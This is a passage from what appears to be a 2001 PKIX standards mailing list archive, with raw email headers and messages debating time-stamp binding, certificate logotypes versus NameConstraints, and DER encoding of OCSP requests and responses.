time.</FONT></FONT></FONT></SPAN></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
color=3D#000000>&gt; Any one can </FONT><FONT face=3DArial =
size=3D2>claim that&nbsp; I=20
am the author of the document. </FONT></FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
face=3DArial size=3D2>Sure they can make the claim, but can they prove =
it? If you=20
time-stamped the document, you are claiming to have 'seen' a digest of =
the=20
document, not that you are its author. As an entity that timestamps =
documents I=20
will go into a court of law and attest to the fact that an agent of mine =
saw a=20
digest of a document at a particular point in time, provided of course =
that I=20
have determined that my agent has not been compromised. I will not make =
any=20
claims regarding the content or author of the=20
document.</FONT></FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
face=3DArial size=3D2></FONT></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
face=3DArial size=3D2>&gt; Until there is specifically identification =
</FONT><FONT=20
face=3DArial size=3D2>of the creator inside the document=20
itself.</FONT></FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001>
<DIV><FONT face=3DArial><FONT color=3D#0000ff><FONT size=3D2><SPAN=20
class=3D580000115-20032001>&gt; </SPAN>One way to do this is to to sign =
over=20
dataum plus time-stamped -data.</FONT></FONT></FONT></DIV></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial><FONT =
size=3D2><SPAN=20
class=3D580000115-20032001>&gt; </SPAN>And if the time-stamped signature =
value is=20
placed as unsigned attribute,</FONT></FONT></DIV>
<DIV>
<DIV><FONT face=3DArial><FONT size=3D2><SPAN =
class=3D580000115-20032001>&gt; </SPAN>it=20
can be also replaced and it is undetectable in current=20
specification.</FONT></FONT></DIV>
<DIV><FONT face=3DArial><FONT size=3D2><SPAN =
class=3D580000115-20032001>&gt; </SPAN>So=20
in the current draft IS time-stamp generated&nbsp;fully=20
secured?</FONT></FONT></DIV></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
color=3D#000000>I do not believe&nbsp;that the draft says you can not =
include the=20
timestamp as a signed attribute.</FONT></FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial size=3D2>So you =
are free to=20
do this in your systems. Others may also choose to do =
this.</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial size=3D2>But =
the timestamp is=20
a separate entity from the datum and need not be a signed=20
attribute.</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial size=3D2>An =
alternative that=20
provides basically the same level of trust, is to require that the =
timestamp be=20
available from the author or timestamp authority separate from the=20
datum.</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
color=3D#000000>If the draft required that the timestamp be a signed =
attribute,=20
then you would not, for example, be able to append timestamps to =
messages within=20
the mail server as they are being delivered.</FONT></FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial=20
size=3D2></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial size=3D2>Keep =
in mind that=20
these standards are not enough to build a 'fully secured' system. You =
must apply=20
and adhere to a security policy to make the system as 'fully' secured as =
needed.=20
I believe that the authors of these standards go to great lengths to =
ensure that=20
no particular security policy is&nbsp;mandated by the standard. Thereby =
allowing=20
you to build a system that meets your requirements.</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
color=3D#000000></FONT></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial color=3D#0000ff =
size=3D2><FONT=20
color=3D#000000></FONT></FONT></SPAN>&nbsp;</DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial size=3D2>Gary=20
Visser</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial=20
size=3D2>Timestamp.com</FONT></SPAN></DIV>
<DIV><SPAN class=3D580000115-20032001><FONT face=3DArial=20
size=3D2>&nbsp;</DIV></FONT></SPAN></SPAN></DIV>
<DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
size=3D2>-----Original Message-----<BR><B>From:</B> Prashant Dambe=20
[mailto:[e-mail]]<BR><B>Sent:</B> Tuesday, March 20, 2001 =
3:23=20
AM<BR><B>To:</B> [e-mail]<BR><B>Subject:</B>=20
Time-stamping.<BR><BR></FONT></DIV>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Time-stamping of the dataum does not =
bind the=20
time-stamped data to paticular user.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So where it will be used as it does not =
bind=20
creator identity. Any one can </FONT></DIV>
<DIV><FONT face=3DArial size=3D2>claim that&nbsp; I am the author of the =
document.=20
Until there is specifically identification</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>of the creator inside the document=20
itself.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>One way to do this is to to sign over =
dataum plus=20
time-stamped -data.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>In this case user can replace the =
signature put its=20
own signature.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So Is not that time-stampng of =
signature value is=20
necessary.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>And if the time-stamped signature value =
is placed=20
as unsigned attribute,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>it can be also replaced and it is =
undetectable in=20
current specification.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>So in the current draft IS time-stamp=20
generated&nbsp;fully secured?</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Prashant =
Dambe</FONT></DIV></BODY></HTML>

------=_NextPart_000_0008_01C0B130.E9ED3F40--



Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by above.proper.com (8.9.3/8.9.3) with ESMTP id JAA05414 for <[e-mail]>; Tue, 20 Mar 2001 09:37:32 -0800 (PST)
Received: from [128.33.238.40] (TC040.BBN.COM [128.33.238.40]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id MAA25278; Tue, 20 Mar 2001 12:31:05 -0500 (EST)
Mime-Version: 1.0
X-Sender: [e-mail]
Message-Id: <p05010401b6dd44780032@[128.33.238.40]>
In-Reply-To:  <[e-mail]>
References:  <[e-mail]>
Date: Tue, 20 Mar 2001 12:34:13 -0500
To: Tim Moses <[e-mail]>
From: Stephen Kent <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 8:58 AM -0500 3/20/01, Tim Moses wrote:
>Colleagues - I am supportive of the idea of including branding 
>information in certificates.  I recognize Steve's concern.  But, I 
>suggest that there should be no impact on processing rules ... other 
>than ... in applications where the relying party is a human, the 
>logo from the very first certificate in the path should be displayed 
>to him/her.  When a relying party accepts a trust anchor, their 
>experience should be identical regardless of the details of the 
>remainder of the path.  Best regards.  Tim.

Tim,

My comment re validation processing arises because of the possible 
undermining of name constraints, as I noted earlier. So, for example, 
I might be comfortable accepting a cert with a logo reference IF the 
cert path validation did not include a name constraints extension. 
But, how do I enforce this sort of rule without changing the path 
validation algorithm?

Steve


Received: from smtp02.symbian.com (smtp02.symbian.com [194.200.144.248]) by above.proper.com (8.9.3/8.9.3) with ESMTP id IAA03577 for <[e-mail]>; Tue, 20 Mar 2001 08:42:52 -0800 (PST)
From: [e-mail]
Received: from SymbianUK05.Symbian.com (unverified) by smtp02.symbian.com (Content Technologies SMTPRS 4.1.2) with ESMTP id <[e-mail]>; Tue, 20 Mar 2001 16:41:30 +0000
Subject: Re: Matching CertIDs between OCSP requests and responses
To: Jeff Jacoby <[e-mail]>
Cc: [e-mail]
X-Mailer: Lotus Notes Release 5.0.4a  July 24, 2000
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 16:40:13 +0000
X-Priority: 3 (Normal)
X-MIMETrack: Serialize by Router on SymbianUK05/Symbian(Release 5.0.1b (Intl)|30 September 1999) at 20/03/2001 04:41:59 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii

Jeff, all,

I believe that if something is DER, then its components should also be.
However, I'm willing to be corrected if someone else wishes to comment.

You're right in your observations that people aren't as strict as they
might be in how they write the specifications.  I have certainly found the
phrasing in certain areas unclear or ambiguous.  This is also true of how
the specifications are then implemented - I've found several minor
transgressions of RFC 2456/2560 that simply required me to relax our code a
little.

On the whole, DER is what people are using, so you'd be best to stick to
that.  My advice would be that as far as is possible (and safe) you should
be strict in what you encode, and generous in what you decode.  And there
is no substitute for interoperability testing.

Jonathan
------------
Dr Jonathan Tuliani
www.symbian.com




                                                                                                                      
                    Jeff Jacoby                                                                                       
                    <jjacoby@rsasec        To:     [e-mail]                                                  
                    urity.com>             cc:                                                                        
                                           Subject:     Re: Matching CertIDs between OCSP requests and responses      
                    20/03/01 16:17                                                                                    
                                                                                                                      
                                                                                                                      




Jonathan,

[some snippage]

Reading both 2560 and the draft for v2, I see this regarding DER
encoding:

 1. Before calculainting hashs and signatures DER is specified in
    various sections

 2. In section 4.1.1 Request Syntax,  aside from items noted in 1.
above,
    there is no other mention of a DER encoding requirment for requests
or
    any part of the request

 3. In section 4.2.1 ASN.1 Specification of the OCSP Response, there is
    an explicit statement that DER shall be used for encoding of
BasicOCSPResonse

 4. Appendix A OCSP over HTTP, there are explicit statements that DER is
to
    be used (but no use of "SHALL" or "MUST") for both request and
responses


On point 3 alone -- and this may show off my ignorance of ASN.1 -- does
saying
that BasicOCSPResponse must be DER encoded ALSO mean all subbordinate
components
must be DER encoded as well?

On points 2 and 4 together, it seems that if I use another transport
protocol
I'm allowed to encode my requests in BER.  Is this right?

Jeff





**********************************************************************
Symbian Ltd is a company registered in England and Wales with registered number 01796587 and registered office at 19 Harcourt Street, London, W1H 4HF, UK.
This message is intended only for use by the named addressee and may contain privileged and/or confidential information. If you are not the named addressee you should not disseminate, copy or take any action in reliance on it. If you have received this message in error please notify [e-mail] and delete the message and any attachments accompanying it immediately. Symbian does not accept liability for any corruption, interception, amendment, tampering or viruses occuring to this message in transit or for any message sent by its employees which is not in compliance with Symbian corporate policy.
**********************************************************************


Received: from tholian.securitydynamics.com (mail.rsasecurity.com [204.167.112.129]) by above.proper.com (8.9.3/8.9.3) with SMTP id IAA01817 for <[e-mail]>; Tue, 20 Mar 2001 08:23:06 -0800 (PST)
Received: from sdtihq24.securid.com by tholian.securitydynamics.com via smtpd (for mail.imc.org [208.184.76.43]) with SMTP; 20 Mar 2001 16:20:58 UT
Received: from tuna.rsa.com (tuna.rsa.com [10.80.211.153]) by sdtihq24.securid.com (Pro-8.9.3/Pro-8.9.3) with ESMTP id LAA23508 for <[e-mail]>; Tue, 20 Mar 2001 11:23:06 -0500 (EST)
Received: from rsasecurity.com ([10.81.217.242]) by tuna.rsa.com (8.8.8+Sun/8.8.8) with ESMTP id IAA25138 for <[e-mail]>; Tue, 20 Mar 2001 08:25:47 -0800 (PST)
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 08:17:10 -0800
From: Jeff Jacoby <[e-mail]>
Organization: RSA Security, Inc.
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: [e-mail]
Subject: Re: Matching CertIDs between OCSP requests and responses
References: <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jonathan,

[some snippage]

Reading both 2560 and the draft for v2, I see this regarding DER
encoding:

 1. Before calculainting hashs and signatures DER is specified in 
    various sections

 2. In section 4.1.1 Request Syntax,  aside from items noted in 1.
above,
    there is no other mention of a DER encoding requirment for requests
or
    any part of the request

 3. In section 4.2.1 ASN.1 Specification of the OCSP Response, there is
    an explicit statement that DER shall be used for encoding of
BasicOCSPResonse

 4. Appendix A OCSP over HTTP, there are explicit statements that DER is
to
    be used (but no use of "SHALL" or "MUST") for both request and
responses


On point 3 alone -- and this may show off my ignorance of ASN.1 -- does
saying 
that BasicOCSPResponse must be DER encoded ALSO mean all subbordinate
components
must be DER encoded as well?

On points 2 and 4 together, it seems that if I use another transport
protocol
I'm allowed to encode my requests in BER.  Is this right?

Jeff


Received: from exafix.addtrust.com ([212.112.175.83]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA27461 for <[e-mail]>; Tue, 20 Mar 2001 07:44:02 -0800 (PST)
Received: from santesson.addtrust.com ([135.222.66.11]) by exafix.addtrust.com with Microsoft SMTPSVC(5.0.2195.1600); Tue, 20 Mar 2001 16:42:48 +0100
Message-Id: <[e-mail]>
X-Sender: [e-mail]
X-Mailer: QUALCOMM Windows Eudora Version 5.0
Date: Tue, 20 Mar 2001 16:44:11 +0100
To: [e-mail], Tim Moses <[e-mail]>
From: Stefan Santesson <[e-mail]>
Subject: RE: Logotypes in certificates
Cc: [e-mail]
In-Reply-To: <20010320152015.RWIG14058.mtiwmhc24.worldnet.att.net@webmai l.worldnet.att.net>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-OriginalArrivalTime: 20 Mar 2001 15:42:48.0906 (UTC) FILETIME=[6A884AA0:01C0B154]

Todd,

I may have misunderstood you but the proposal to include logotype 
information is definitely about certificate content.

The proposal suggests a method to contain relevant information about 
logotypes in certificates in a way that allows a client to get, validate 
and display the logo to an end user.

How the client does that is not the major issue, just to provide the 
possibility.

/Stefan

At 15:20 2001-03-20 +0000, [e-mail] wrote:

>--
>Regards,
>Todd
> > Colleagues - I am supportive of the idea of including branding information
> > in certificates.  I recognize Steve's concern.  But, I suggest that there
> > should be no impact on processing rules ... other than ... in applications
> > where the relying party is a human, the logo from the very first 
> certificate
> > in the path should be displayed to him/her.  When a relying party accepts a
> > trust anchor, their experience should be identical regardless of the 
> details
> > of the remainder of the path.  Best regards.  Tim.
>
>
>This this is an instance wherein you are talking about
>is the end-use model for the cert and not the cert
>content. It is important to differentiate the two
>since use of a cert is more an applications level effort.
>
>The concept in "displaying" squat to anyone takes the
>issue out of the "content" and into the "use of" realms
>which seems to be more "application oriented" than ANYTHING,
>and as such not something that PKIX should be
>concerning itself with unless it is going to change again
>and start to publish certified use models for its wares.
>
>In which case the structure and accountability of PKIX for
>what it is producing must also change significantly more
>towards the ISO standards I think.
>
>
> >
> >
> > -----Original Message-----
> > From: Stephen Kent [mailto:[e-mail]]
> > Sent: Monday, March 19, 2001 11:47 AM
> > To: Stefan Santesson
> > Cc: [e-mail]
> > Subject: RE: Logotypes in certificates
> >
> >
> > Stefan,
> >
> > I have mixed feelings about this proposal. We have, in the
> > NameConstraints extension, a powerful mechanism for making cross
> > certification a safe thing to do. If one were to include a logotype
> > extension in a cert that was issued by a CA who had been cross
> > certified using name constraints, it holds the potential for
> > seriously undermining the controls imposed by NameConstraints.
> >
> > There is an issue here that merits discussion: the logotype is
> > presumably useful only when people are being asked to accept/reject
> > certs, in addition to or in lieu of the many software-based controls
> > that v3 certs offer. If the use is in lieu of use of more extensive
> > software-based controls, there may not be a conflict, since the
> > context is probably that of a TTP CA where NameConstraints and
> > similar controls are of minimal use. However, if the syntactic
> > controls are also in use, a logotype extension may be of limited
> > value and might easily degrade security.
> >
> > So, I would be opposed to PKIX approving this sort of extension (even
> > as a separate RFC from 2459bis) without imposing significant
> > constraints on the contexts in which it is to be used, including
> > limitations on its use in conjunction with other extensions, e.g.,
> > NameConstraints. What worries me even more, is that we might have to
> > extend/modify the validation procedure to enforce such
> > inter-extension constraints, which would then affect 2459bis!
> >
> > Steve



Received: from sysiphos.maz-hh.de (sysiphos.maz-hh.de [192.109.56.14]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA27411 for <[e-mail]>; Tue, 20 Mar 2001 07:43:55 -0800 (PST)
Received: from timeproof.de (timegate.maz-hh.de [192.109.56.29]) by sysiphos.maz-hh.de (8.9.3/8.9.3) with ESMTP id QAA09993; Tue, 20 Mar 2001 16:43:40 +0100 (MET)
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 16:46:37 +0100
From: Joerg Seidel <[e-mail]>
Organization: timeproof GmbH
X-Mailer: Mozilla 4.76 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jean-Marc Desperrier <[e-mail]>
CC: [e-mail]
Subject: Re: ESSCertID in TSP
References: <[e-mail]> <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit

Jean-Marc Desperrier wrote:
> 
> On day A, Alice borrows Bob2000$.
> She writes a statement "I owe Bob 2000$", digitally signs it, time-stamps the
> signature and gives it to Bob , saying : "See, I owe you 2000$, and this
> horodated statement proves it, digital signature, time-stamp, everything.
> 
> The next day, Alice borrows Bob 2000$ again.
> Alice writes a second statement "I owe Bob 2000$", digitally signs it,
> time-stamps the signature and gives it to Bob, saying : "See, I owe you 2000$
> again, and this new time-stamp "proves" that this is what I owe you today".
> 
> Of course it's very clear to everyone who has a good understanding of
> time-stamp, that this new time-stamping proves _nothing_.

Yes, now I see your point. You are totally right. The problem arises
because the timestamp proves only that the signature was made before a
given date, not at the date.

There are serveral ways to solve this problem. One of them is to
timestamp the document, sign the timestamp and timestamp the signature.
This proves that the signature was made between the two timestamp times.
Another is, as you stated already, to include the time in the document
or as a signed attribute in the signature.

What about this one:
"I owe the owner of this document 2000$". It is equivalent to a cheque
in the real world, but it has the value zero in any case, because there
is no way to identify the original. The signer can always claim that he
never gave the original to anyone - just copies.

Regards
Jörg
-- 
__________________________________________________________________

Jörg Seidel                             phone  [phone]
Director Technology                     fax    [phone]
timeproof GmbH                          
Harburger Schloßstraße 6-12             mailto:[e-mail]
DE 21079 Hamburg                        http://www.timeproof.de
__________________________________________________________________


Received: from mtiwmhc24.worldnet.att.net (mtiwmhc24.worldnet.att.net [204.127.131.49]) by above.proper.com (8.9.3/8.9.3) with ESMTP id HAA22493 for <[e-mail]>; Tue, 20 Mar 2001 07:20:44 -0800 (PST)
From: [e-mail]
Received: from webmail.worldnet.att.net ([204.127.135.41]) by mtiwmhc24.worldnet.att.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP id <[e-mail]>; Tue, 20 Mar 2001 15:20:15 +0000
Received: from [161.215.27.211] by webmail.worldnet.att.net; Tue, 20 Mar 2001 15:20:14 +0000
To: Tim Moses <[e-mail]>
Cc: [e-mail]
Subject: RE: Logotypes in certificates
Date: Tue, 20 Mar 2001 15:20:14 +0000
X-Mailer: AT&T Message Center Version 1 (Dec 14 2000)
X-Authenticated-Sender: [e-mail]
Message-Id: <[e-mail]>

--
Regards,
Todd
> Colleagues - I am supportive of the idea of including branding information
> in certificates.  I recognize Steve's concern.  But, I suggest that there
> should be no impact on processing rules ... other than ... in applications
> where the relying party is a human, the logo from the very first certificate
> in the path should be displayed to him/her.  When a relying party accepts a
> trust anchor, their experience should be identical regardless of the details
> of the remainder of the path.  Best regards.  Tim.


This this is an instance wherein you are talking about 
is the end-use model for the cert and not the cert 
content. It is important to differentiate the two 
since use of a cert is more an applications level effort.

The concept in "displaying" squat to anyone takes the 
issue out of the "content" and into the "use of" realms
which seems to be more "application oriented" than ANYTHING,
and as such not something that PKIX should be 
concerning itself with unless it is going to change again
and start to publish certified use models for its wares.

In which case the structure and accountability of PKIX for 
what it is producing must also change significantly more 
towards the ISO standards I think.


> 
> 
> -----Original Message-----
> From: Stephen Kent [mailto:[e-mail]]
> Sent: Monday, March 19, 2001 11:47 AM
> To: Stefan Santesson
> Cc: [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Stefan,
> 
> I have mixed feelings about this proposal. We have, in the 
> NameConstraints extension, a powerful mechanism for making cross 
> certification a safe thing to do. If one were to include a logotype 
> extension in a cert that was issued by a CA who had been cross 
> certified using name constraints, it holds the potential for 
> seriously undermining the controls imposed by NameConstraints.
> 
> There is an issue here that merits discussion: the logotype is 
> presumably useful only when people are being asked to accept/reject 
> certs, in addition to or in lieu of the many software-based controls 
> that v3 certs offer. If the use is in lieu of use of more extensive 
> software-based controls, there may not be a conflict, since the 
> context is probably that of a TTP CA where NameConstraints and 
> similar controls are of minimal use. However, if the syntactic 
> controls are also in use, a logotype extension may be of limited 
> value and might easily degrade security.
> 
> So, I would be opposed to PKIX approving this sort of extension (even 
> as a separate RFC from 2459bis) without imposing significant 
> constraints on the contexts in which it is to be used, including 
> limitations on its use in conjunction with other extensions, e.g., 
> NameConstraints. What worries me even more, is that we might have to 
> extend/modify the validation procedure to enforce such 
> inter-extension constraints, which would then affect 2459bis!
> 
> Steve


Received: from sottmxs02.entrust.com (gatekeeper.entrust.com [204.101.128.170]) by above.proper.com (8.9.3/8.9.3) with ESMTP id GAA16067 for <[e-mail]>; Tue, 20 Mar 2001 06:02:13 -0800 (PST)
Received: by sottmxs02.entrust.com with Internet Mail Service (5.5.2650.21) id <G9HSWJWC>; Tue, 20 Mar 2001 09:01:43 -0500
Message-ID: <[e-mail]>
From: Tim Moses <[e-mail]>
To: [e-mail]
Subject: RE: Logotypes in certificates
Date: Tue, 20 Mar 2001 08:58:10 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0B145.CC223EB0"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0B145.CC223EB0
Content-Type: text/plain;
	charset="iso-8859-1"

Colleagues - I am supportive of the idea of including branding information
in certificates.  I recognize Steve's concern.  But, I suggest that there
should be no impact on processing rules ... other than ... in applications
where the relying party is a human, the logo from the very first certificate
in the path should be displayed to him/her.  When a relying party accepts a
trust anchor, their experience should be identical regardless of the details
of the remainder of the path.  Best regards.  Tim.


-----Original Message-----
From: Stephen Kent [mailto:[e-mail]]
Sent: Monday, March 19, 2001 11:47 AM
To: Stefan Santesson
Cc: [e-mail]
Subject: RE: Logotypes in certificates


Stefan,

I have mixed feelings about this proposal. We have, in the 
NameConstraints extension, a powerful mechanism for making cross 
certification a safe thing to do. If one were to include a logotype 
extension in a cert that was issued by a CA who had been cross 
certified using name constraints, it holds the potential for 
seriously undermining the controls imposed by NameConstraints.

There is an issue here that merits discussion: the logotype is 
presumably useful only when people are being asked to accept/reject 
certs, in addition to or in lieu of the many software-based controls 
that v3 certs offer. If the use is in lieu of use of more extensive 
software-based controls, there may not be a conflict, since the 
context is probably that of a TTP CA where NameConstraints and 
similar controls are of minimal use. However, if the syntactic 
controls are also in use, a logotype extension may be of limited 
value and might easily degrade security.

So, I would be opposed to PKIX approving this sort of extension (even 
as a separate RFC from 2459bis) without imposing significant 
constraints on the contexts in which it is to be used, including 
limitations on its use in conjunction with other extensions, e.g., 
NameConstraints. What worries me even more, is that we might have to 
extend/modify the validation procedure to enforce such 
inter-extension constraints, which would then affect 2459bis!

Steve

------_=_NextPart_001_01C0B145.CC223EB0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2652.35">
<TITLE>RE: Logotypes in certificates</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>Colleagues - I am supportive of the idea of including =
branding information in certificates.&nbsp; I recognize Steve's =
concern.&nbsp; But, I suggest that there should be no impact on =
processing rules ... other than ... in applications where the relying =
party is a human, the logo from the very first certificate in the path =
should be displayed to him/her.&nbsp; When a relying party accepts a =
trust anchor, their experience should be identical regardless of the =
details of the remainder of the path.&nbsp; Best regards.&nbsp; =
Tim.</FONT></P>
<BR>

<P><FONT SIZE=3D2>-----Original Message-----</FONT>
<BR><FONT SIZE=3D2>From: Stephen Kent [<A =
HREF=3D"mailto:[e-mail]">mailto:[e-mail]</A>]</FONT>
<BR><FONT SIZE=3D2>Sent: Monday, March 19, 2001 11:47 AM</FONT>
<BR><FONT SIZE=3D2>To: Stefan Santesson</FONT>
<BR><FONT SIZE=3D2>Cc: [e-mail]</FONT>
<BR><FONT SIZE=3D2>Subject: RE: Logotypes in certificates</FONT>
</P>
<BR>

<P><FONT SIZE=3D2>Stefan,</FONT>
</P>

<P><FONT SIZE=3D2>I have mixed feelings about this proposal. We have, =
in the </FONT>
<BR><FONT SIZE=3D2>NameConstraints extension, a powerful mechanism for =
making cross </FONT>
<BR><FONT SIZE=3D2>certification a safe thing to do. If one were to =
include a logotype </FONT>
<BR><FONT SIZE=3D2>extension in a cert that was issued by a CA who had =
been cross </FONT>
<BR><FONT SIZE=3D2>certified using name constraints, it holds the =
potential for </FONT>
<BR><FONT SIZE=3D2>seriously undermining the controls imposed by =
NameConstraints.</FONT>
</P>

<P><FONT SIZE=3D2>There is an issue here that merits discussion: the =
logotype is </FONT>
<BR><FONT SIZE=3D2>presumably useful only when people are being asked =
to accept/reject </FONT>
<BR><FONT SIZE=3D2>certs, in addition to or in lieu of the many =
software-based controls </FONT>
<BR><FONT SIZE=3D2>that v3 certs offer. If the use is in lieu of use of =
more extensive </FONT>
<BR><FONT SIZE=3D2>software-based controls, there may not be a =
conflict, since the </FONT>
<BR><FONT SIZE=3D2>context is probably that of a TTP CA where =
NameConstraints and </FONT>
<BR><FONT SIZE=3D2>similar controls are of minimal use. However, if the =
syntactic </FONT>
<BR><FONT SIZE=3D2>controls are also in use, a logotype extension may =
be of limited </FONT>
<BR><FONT SIZE=3D2>value and might easily degrade security.</FONT>
</P>

<P><FONT SIZE=3D2>So, I would be opposed to PKIX approving this sort of =
extension (even </FONT>
<BR><FONT SIZE=3D2>as a separate RFC from 2459bis) without imposing =
significant </FONT>
<BR><FONT SIZE=3D2>constraints on the contexts in which it is to be =
used, including </FONT>
<BR><FONT SIZE=3D2>limitations on its use in conjunction with other =
extensions, e.g., </FONT>
<BR><FONT SIZE=3D2>NameConstraints. What worries me even more, is that =
we might have to </FONT>
<BR><FONT SIZE=3D2>extend/modify the validation procedure to enforce =
such </FONT>
<BR><FONT SIZE=3D2>inter-extension constraints, which would then affect =
2459bis!</FONT>
</P>

<P><FONT SIZE=3D2>Steve</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0B145.CC223EB0--


Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA09622 for <[e-mail]>; Tue, 20 Mar 2001 04:23:08 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f2KCKwf27196; Tue, 20 Mar 2001 13:20:58 +0100
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 13:22:43 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Joerg Seidel <[e-mail]>
CC: [e-mail]
Subject: Re: ESSCertID in TSP
References: <[e-mail]> <[e-mail]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Joerg Seidel wrote:

> Jean-Marc Desperrier wrote:
> > With such a use of time-stamp, if the base over wich the hash is
> > calculated does not include any reference to the local time, the
> > implementor has a hugh risk of time-stamping twice the same data, and
> > yet expect after the inclusion of the time-stamp to hold some guaranty
> > that the two items are separate entities.
>
> The serial number and usually also the time of the timestamp will be
> different.

Maybe my point wasn't clear enough.

I'll try to devise a stupid, but simple example.
This is not an attack against time-stamping, but against what happen when you
don't know how to use it properly.

On day A, Alice borrows Bob2000$.
She writes a statement "I owe Bob 2000$", digitally signs it, time-stamps the
signature and gives it to Bob , saying : "See, I owe you 2000$, and this
horodated statement proves it, digital signature, time-stamp, everything.

The next day, Alice borrows Bob 2000$ again.
Alice writes a second statement "I owe Bob 2000$", digitally signs it,
time-stamps the signature and gives it to Bob, saying : "See, I owe you 2000$
again, and this new time-stamp "proves" that this is what I owe you today".

Of course it's very clear to everyone who has a good understanding of
time-stamp, that this new time-stamping proves _nothing_.

The TSA does not identify who submits the TSP request. It could have been
either Bob restamping the message he got the previous day, or Alice stamping
her "new" message.
Even if the TSA identifies who submits the request, there's nothing wrong in
Alice restamping her message of the previous day.

I even feel that a TSA that would, when receiving a request, check in it's log
if a time-stamp for the same hash has already been generated, and resend that
time-stamp if that's the case, would be doing nothing wrong (if the request
includes a new nonce, of course it will have to generate a new time-stamp).




Received: from certplus.com (facteur.certplus.com [195.101.88.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id EAA09567 for <[e-mail]>; Tue, 20 Mar 2001 04:22:54 -0800 (PST)
Received: from certplus.com ([192.168.212.178]) by certplus.com (8.11.2/8.11.2) with ESMTP id f2KCKif27187 for <[e-mail]>; Tue, 20 Mar 2001 13:20:45 +0100
Message-ID: <[e-mail]>
Date: Tue, 20 Mar 2001 13:22:30 +0100
From: Jean-Marc Desperrier <[e-mail]>
Organization: Certplus
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
